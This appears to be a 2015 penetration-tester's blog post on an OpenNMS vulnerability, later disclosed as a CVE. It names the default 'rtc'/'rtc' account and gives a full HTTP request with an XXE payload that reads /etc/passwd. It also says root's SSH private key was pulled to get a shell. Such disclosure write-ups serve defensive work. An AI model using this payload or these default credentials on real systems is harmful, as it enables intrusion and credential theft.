Wednesday, January 21, 2015

OpenNMS 0-day -> XXE to Shell

OpenNMS is an open source network management application. We see these things occasionally on internal penetration tests and given the nature of network monitoring systems, they can be an attractive target. If you pop the NMS, sometimes you can find credentials or keys for other servers and devices, or if the box is based on a standard internal build and you can crack (or find) a local account password, you might be able to gain some lateral movement.

With that in mind, and the fact that there weren't a lot of other interesting targets on this particular network, we set to work.

The OpenNMS login page was discovered using the tool we recently dropped at Schmoocon, httpscreenshot (https://github.com/breenmachine/httpscreenshot). Any time I see a login page for some unknown device or service I consult Google with "<devicename> default password". If you do that now, you'll find references to this vulnerability, but just a month or so ago you would have seen the following page among the top results:

  • http://marc.info/?l=opennms-discuss&m=112809902228006
The above references a default account named "rtc" with password "rtc". Almost noone changes the password on this account (except that one guy in the forum post apparently), because it is an ultra low privilege service account that simply talks to the OpenNMS web service. Logging into the web interface with this account proved useless, while authentication succeeds, no options are available.

Knowing that the account must be used for something, a little more Googling turned up the "rtc" URL and the fact that it was actually an XML based web service. With that in mind, I decided to take a shot in the dark at XXE:


POST /opennms/rtc/post/xxxxx HTTP/1.1
Host: 1.2.3.4:8980
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.2.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://1.2.3.4:8980/opennms/frontPage.htm
Cookie: JSESSIONID=somethingsomethingsomething
Connection: keep-alive
Content-Length: 151

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

Of course it worked, I probably wouldn't be writing this otherwise.

The shell was trivially obtained by pulling /root/.ssh/ssh_rsa and logging into the machine...

Juken, (https://jstnkndy.github.io) reported the vulnerability to OpenNMS and had a CVE assigned. They did a really cool and detailed wiki post: http://www.opennms.org/wiki/CVE-2015-0975

He also wrote a metasploit module for this vulnerability: https://github.com/rapid7/metasploit-framework/pull/4585